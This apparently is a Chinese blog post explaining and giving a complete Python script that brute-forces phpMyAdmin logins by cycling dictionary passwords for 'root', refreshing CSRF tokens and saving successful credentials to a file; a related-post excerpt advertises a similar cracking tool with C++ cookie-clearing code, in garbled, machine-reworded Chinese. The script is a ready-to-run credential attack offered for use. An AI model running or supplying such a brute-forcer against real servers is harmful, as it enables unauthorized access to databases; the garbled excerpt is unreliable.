爆破phpmyadmin

爆破phpmyadmin

  • 因为是第一次写脚本,所以没有爆破phpmyadmin的思路
  • 后来百度到很多爆破phpmyadmin的脚本,找到了一些思路
  • 大概就是用python构造对phpmyadmin的登录请求,根据登录前后的源码中的一些不同的信息判断是否登录成功,我们又从发送的请求包中获取了请求参数,以及文件头信息·pma_username=roofffffft&pma_password=fffroot&server=1&token=3b88f0df1d082083aae8b4cccba4055e
  • 思路逐渐开始清晰,通过定义url user passdic(密码字典) headers session token
  • 重复获取token以及获取的title的信息
  • 构造payload发送请求
  • 对登录前后title的信息进行比对re.findall
import html
import re
import requests


url = 'http://url/index.php'

user = 'root'

passdic = '字典路径'

s = requests.session()
s.headers = {'Accept': '*/*',
             'Accept-Encoding': 'gzip, deflate',
             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
def get_token(text) -> str:
    token = re.findall("name=\"token\" value=\"(.*?)\" />", text)
    return html.unescape(token[0]) if token else None
def get_title(text) -> str:
    title = re.findall('<title>(.*)</title>', text)
    return title[0] if title else None
def try_login(user, pwd, token):
    data = {'pma_username': user,
            'pma_password': pwd,
            'server': 1,
            'target': 'index.php',
            'token': token
            }
    r = s.post(url, data=data)
    return r.text
def fuck_pma():
    with open(passdic, 'r', encoding='utf-8') as f:
        html = try_login('', '', '')
        title_fail = get_title(html)
        token = get_token(html)
        for line in f:
            pwd = line.strip()
            print(f'[?] 尝试登陆  {user}  {pwd}  ')
            html = try_login(user, pwd, token)
            title = get_title(html)
            token = get_token(html)
            if title != title_fail:
                print(f'[√] 登陆成功  {title}')
                with open('success.txt', 'a', encoding='utf-8') as f:
                    f.write(f'{url}  |  {user}  |  {pwd}\n')
                break
            else:
                print(f'[×] 登陆失败  {title}')
if __name__ == "__main__":
    try:
        fuck_pma()
    except Exception as e:
        print(e)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
我正在网上搜刮了一下没发明相干的东西, 因而本身出手翰单真现这听命, 而今phpMyAdmin3.2.5,phpMyAdmin3.2.1、phpMyAdmin2.11.2版本测试均成功! 此东西仅供网友技术进修交换利用,请勿利用于犯警用处。 MySQL数据库字典,人人就本身网上支散了! 当前版本 v1.2 MD5:541465699949f3d60fcea923ccf245b2 sha1:e23d7ce46606d530abc4a9e473bdb0b5247aaff1 – ver1.2 措置对phpMyAdmin3.2.5版本暴破有标题问题,删加了一个工作线程, 美化了界面。 – ver1.1 1.0版本有个标题问题,正在win7、vista下都不能正常扫描, 现曾纠正过往。 ————————————————— 技术总结: 《vc6建正删除cookie真现》 InternetSetCookie函数太老,能建正一般cookie值,但是正在win7下高版本Wininet.DLL中无法让HTTPONLY类型的cookie过时, 要利用InternetSetCookieEx函数才成功,正在vs2010下直接用该函数,vc6下本身加载模块查找函数, vc6下查找利用该函数删除cookie以下: HINSTANCE hInst = LoadLibrary(“Wininet.DLL”); if(hInst) { typedef BOOL (WINAPI *pfnInternetSetCookieEx)(LPCSTR, LPCSTR, LPCSTR, DWORD, DWORD); pfnInternetSetCookieEx InternetSetCookieEx = NULL; InternetSetCookieEx = (pfnInternetSetCookieEx)GetProcAddress(hInst, “InternetSetCookieExA”); //InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); FreeLibrary(hInst); } 寄看,要分隔设置cookie字段,不能一次设置多个字段,不然不成功,下面的语句只要第一个字段被设置成功,其它字段均不成功! InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; pma_mcrypt_iv=; pmaUser-1=; pmaPass-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); 精确理当如许写, InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pma_mcrypt_iv=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pmaUser-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pmaPass-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); 1>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值